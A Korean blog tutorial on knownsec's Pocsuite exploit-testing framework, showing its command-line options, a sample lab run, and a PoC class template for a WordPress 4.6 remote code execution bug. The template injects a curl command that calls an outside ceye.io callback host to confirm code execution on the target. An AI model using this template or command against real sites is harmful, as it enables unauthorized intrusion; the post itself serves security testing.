PocSuite - PoC 코드 테스팅을 체계적으로 쉽게 하자!

knownsec에서 만든 Pocsuite라는 재미있는 툴(+라이브러리)이 있습니다. 활용하기에 따라 테스팅을 많이 편리하게 해줄 수 있는데요, 간략하게 소개해드릴까 합니다.

What is Pocsuite?

Pocsuite는 PoC 코드를 쉽게 테스트하기 위한 툴입니다. 보통 python, ruby 같은 스크립트로 PoC가 공개되곤 하는데, 이를 여러 대상에 대해 체크하고 결과를 확인하기엔 여간 귀찮죠.. 그래서 이 툴은 외부에 공개된 PoC에 코드를 추가하여 한번에 다수의 도메인을 테스트하고 관리할 수 있게 지원해줍니다. 당연히 라이브러리 기반이고 command line 명령을 지원합니다.

How to install & Use?

아래 git clone 받아서 직접 코드로 실행해도 되지만.. pip로 이미 올라와 있습니다. https://github.com/knownsec/Pocsuite

pip 통해 설치해줍시다. (requirement.txt엔 정의되진 않았지만 request도 의존합니다. 저건 어지간해선 있으시겠지만 혹시 모르니..)

# pip install pocsuite
# pip install requests

우선 PocSuite는 2가지 모드를 지원합니다. 하나는 command line, 하나는 interactive

[ Command Mode ]

# pocsuite

                              ,--. ,--.
,---. ,---. ,---.,---.,--.,--`--,-'  '-.,---.  {2.0.8-nongit-20190103}
| .-. | .-. | .--(  .-'|  ||  ,--'-.  .-| .-. :
| '-' ' '-' \ `--.-'  `'  ''  |  | |  | \   --.
|  |-' `---' `---`----' `----'`--' `--'  `----'
`--'                                            http://pocsuite.org

[!] legal disclaimer: Usage of pocsuite for attacking targets without prior mutual consent is illegal.

[*] starting at 04:36:34

[04:36:34] [-] No "url" or "urlFile" or "dork" assigned.

[ Interactive Mode ]

# pcs-console

                              ,--. ,--.
,---. ,---. ,---.,---.,--.,--`--,-'  '-.,---.  {2.0.8-nongit-20190103}
| .-. | .-. | .--(  .-'|  ||  ,--'-.  .-| .-. :
| '-' ' '-' \ `--.-'  `'  ''  |  | |  | \   --.
|  |-' `---' `---`----' `----'`--' `--'  `----'
`--'                                            http://pocsuite.org

Pocsuite>
Pocsuite>
Pocsuite>

Interactive Mode Options

Core Commands Menu (help <command> for details)
===============================================
attack          Attack mode, sends exploit payload
back            Move back from the current Interpreter
banner          Display an awesome framework banner
debug           Enter into python debug mode
exit            Exit the current interpre
help            Show help menu
pocadd          Load available poc(s) from a directory or a file
pocdel          Unload specific poc file(s)
poclist         Show all available pocs / task pocs
seebug          Download pocs from seebug with API Token
set             Set key equal to value
show            Show available options / modules
verify          Verify Mode, checks if a vuln exists or not

Command Mode Options

optional arguments:
  -h, --help            Show help message and exit
  --version             Show program's version number and exit
  --update              Update Pocsuite

target:
  -u URL, --url URL     Target URL (e.g. "http://www.targetsite.com/")
  -f URLFILE, --file URLFILE
                        Scan multiple targets given in a textual file
  -r POCFILE            Load POC from a file (e.g. "_0001_cms_sql_inj.py") or directory (e.g. "modules/")

mode:
  --verify              Run poc with verify mode
  --attack              Run poc with attack mode

request:
  --cookie COOKIE       HTTP Cookie header value
  --referer REFERER     HTTP Referer header value
  --user-agent AGENT    HTTP User-Agent header value
  --random-agent        Use randomly selected HTTP User-Agent header value
  --proxy PROXY         Use a proxy to connect to the target URL
  --proxy-cred PROXYCRED
                        Proxy authentication credentials (name:password)
  --timeout TIMEOUT     Seconds to wait before timeout connection (default 30)
  --retry RETRY         Time out retrials times.
  --delay DELAY         Delay between two request of one thread
  --headers HEADERS     Extra headers (e.g. "key1: value1\nkey2: value2")
  --host HOST           Host in HTTP headers.

params:
  --extra-params EXTRA_PARAMS
                        Extra params (e.g. "{username: '***', password: '***'}")

optimization:
  --threads THREADS     Max number of concurrent HTTP(s) requests (default 1)
  --report REPORT       Save a html report to file (e.g. "./report.html")
  --batch BATCH         Automatically choose defaut choice without asking.
  --requires            Check install_requires
  --quiet               Activate quiet mode, working without logger.
  --requires-freeze     Check install_requires after register.

Zoomeye or Seebug:
  --dork DORK           Zoomeye dork used for search.
  --max-page MAX_PAGE   Max page used in ZoomEye API(10 targets/Page).
  --search-type SEARCH_TYPE
                        search type used in ZoomEye API, web or host
  --vul-keyword VULKEYWORD
                        Seebug keyword used for search.
  --ssv-id SSVID        Seebug SSVID number for target PoC.

How to test with Pocsuite

위에 옵션 참고하면서 보심 좋습니다. 주요 옵션은 이렇습니다.

-r : poc file -u : url -f : url list file –verify : 취약 여부만 체크 –attack : 공격

우선 테스트를 위한 PoC 하나를 받아봅시다 (wordpress RCE이고 knownsec이 이미 Pocsuite 포맷으로 구성한 코드입니다. )

# wget https://raw.githubusercontent.com/knownsec/Pocsuite/dev/modules/wordpress_core_4_6_rce.py
# pocsuite -r 123.py -u http://192.168.0.13:3000 --verify

                              ,--. ,--.
,---. ,---. ,---.,---.,--.,--`--,-'  '-.,---.  {2.0.8-nongit-20190103}
| .-. | .-. | .--(  .-'|  ||  ,--'-.  .-| .-. :
| '-' ' '-' \ `--.-'  `'  ''  |  | |  | \   --.
|  |-' `---' `---`----' `----'`--' `--'  `----'
`--'                                            http://pocsuite.org

[!] legal disclaimer: Usage of pocsuite for attacking targets without prior mutual consent is illegal.

[*] starting at 04:49:24

[04:49:24] [*] checking WordPress Core 4.6 - Unauthenticated Remote Code Execution
[04:49:24] [*] poc:'WordPress Core 4.6 - Unauthenticated Remote Code Execution' target:'http://192.168.0.13:3000'

+---------------------------+----------+--------+-----------+---------+--------+
| target-url                | poc-name | poc-id | component | version | status |
+---------------------------+----------+--------+-----------+---------+--------+
| http://192.168.0.13:3000 |   123    | 93077  | WordPress |   4.6   | failed |
+---------------------------+----------+--------+-----------+---------+--------+
success : 0 / 1

[*] shutting down at 04:49:28

이런식으로 정리된 결과를 볼 수 있습니다.

request 관련 옵션을 따로 줄 수 있는데, 활용하면 Custom한 HTTP Request를 생성할 수 있습니다.

  --cookie COOKIE       HTTP Cookie header value
  --referer REFERER     HTTP Referer header value
  --user-agent AGENT    HTTP User-Agent header value
  --random-agent        Use randomly selected HTTP User-Agent header value
  --proxy PROXY         Use a proxy to connect to the target URL
  --proxy-cred PROXYCRED
                        Proxy authentication credentials (name:password)
  --timeout TIMEOUT     Seconds to wait before timeout connection (default 30)
  --retry RETRY         Time out retrials times.
  --delay DELAY         Delay between two request of one thread
  --headers HEADERS     Extra headers (e.g. "key1: value1\nkey2: value2")
  --host HOST           Host in HTTP headers.

인터렉티브도 비슷비슷합니다. msf랑 비슷하고 음.. 그냥 한번 해보심 딱 옵니다..

How to make PoC file for PocSuite

자 그럼 가장 중요한 부분인데요, 일반 PoC 코드를 PocSuite 적용에 대한 부분입니다. pocsuite가 라이브러리 형태로 제공되기 떄문에 python 코드단에서 import하여 사용할 수 있습니다.

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

그다음 가장 중요한 PoC Class를 생성해주고 register() 함수로 PoC를 등록해줍니다.

class TestPOC(POCBase):
    name = ‘PoC 이름 '
    vulID = ’Numbering'
    author = [‘만든이!']
    vulType = 'cmd-exec'
    version = '1.0'    # default version: 1.0
    references = [‘msf module이랑 비슷.. 참조 링크']
    desc = 'PoC에 대한 설명입니다.'

    vulDate = '2013-02-14'
    createDate = '2017-05-03'
    updateDate = '2017-05-04'

    appName = 'WordPress'
    appVersion = '4.6'
    appPowerLink = 'https://wordpress.org'
    samples = ['']

    # verify 시 결과 데이터를 어떻게 줄것인지 정의
    def verify_result(self, flag):
        url = "http://ceye.io/api/record?token=[YOUR CEYE TOKEN]&type=request&filter=wordpress"
        match_string = "wordpress.YOU-CEYE-ACCOUNT.ceye.io/{0}".format(flag)
        try:
            resp = req.get(url, timeout=30)
            if resp.content:
                if match_string in resp.content:
                    return True
        except Exception:
            pass
        return False

    # 실제로 아래 attack, verify가 로직이 들어가는 부분이고
    # 보통의 경우 원래 PoC 코드에서 트리거 시키는 부분을 넣어주 면 될 것 같습니다.

    # attack 모드일 때 동작
    def _attack(self):
        """attack mode"""
        return self._verify()
    # verify 모드일 때 동작
    def _verify(self):
        """verify mode"""
        result = {}
        self.url = self.url + '/wp-login.php?action=lostpassword'
        flag = "".join(random.choice(string.ascii_letters) for _ in xrange(0, 8))
        flag = flag.lower()
        cmd = "/usr/bin/curl wordpress.YOU-CEYE-ACCOUNT.ceye.io/{0}".format(flag)
        resp = send_command(self.url, cmd)
        time.sleep(2)
        if self.verify_result(flag):
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output

# 등록!
register(TestPOC)

길어보일 수 있으나 복잡한건 아닙니다. 기존 PoC 코드에서 실행 부분들(e.g. exploit, run 등등) 등을 뗴어내어서 인자값을 받도록 바꿔주고 class TestPOC(POCBase): 로 class 선언해서 verify. Attack 부분에 해당 부분을 트리거 해주면 됩니다. 위에 description, title등의 부분은 잘 해놓으면 나중에 보기 편리하겠죠.

Reports

output, report 포맷은 3rd party로 툴을 활용할 떄 중요시 보는 부분인데요, 안타깝게도 html 포맷만 지원합니다.. 그래도 결과를 가볍게 주는편이라 파싱하시는데 부담은 없을듯합니다.

  --report REPORT       Save a html report to file (e.g. "./report.html")
<!DOCTYPE html>
<html lang="zh-cn">
    <head>
        <meta charset="utf-8">
        <title></title>
        <style type="text/css">
        caption{padding-top:8px;padding-bottom:8px;color:#777;text-align:left}th{text-align:left}.table{width:100%;max-width:100%;margin-bottom:20px}.table>thead>tr>th,.table>tbody>tr>th,.table>tfoot>tr>th,.table>thead>tr>td,.table>tbody>tr>td,.table>tfoot>tr>td{padding:8px;line-height:1.42857143;vertical-align:top;border-top:1px solid #ddd}.table>thead>tr>th{vertical-align:bottom;border-bottom:2px solid #ddd}.result0{display:none}.result1{}.status{cursor: pointer;}
        </style>
        <script>
            function showDetail(dom){
                parent = dom.parentElement;
                detail = parent.children[1];
                if (detail == undefined){
                    return;
                };
                if (detail.className == 'result0'){
                    detail.className = 'result1';
                }else{
                    detail.className = 'result0';
                };
            }
        </script>
    </head>
    <body>
        <div class="container">
            <table class="table">
                <thead>
                    <th>target-url</td>  <th>poc-name</td>  <th>poc-id</td>  <th>component</td>  <th>version</td>  <th>status</td>
                </thead>
                <tbody>
                    <tr class='status' onclick='showDetail(this)'> <td>http://192.168.0.13:3000</td>  <td>123</td>  <td>93077</td>  <td>WordPress</td>  <td>4.6</td>  <td>failed</td> </tr>
                </tbody>
            </table>
        </div>
    </body>
</html>

이럴만도 한 이유가 결국 python library로 제공된다는점인데요, 베스트는 퓨어코드로 그대로 쓰는게 아닐까 싶습니다 :)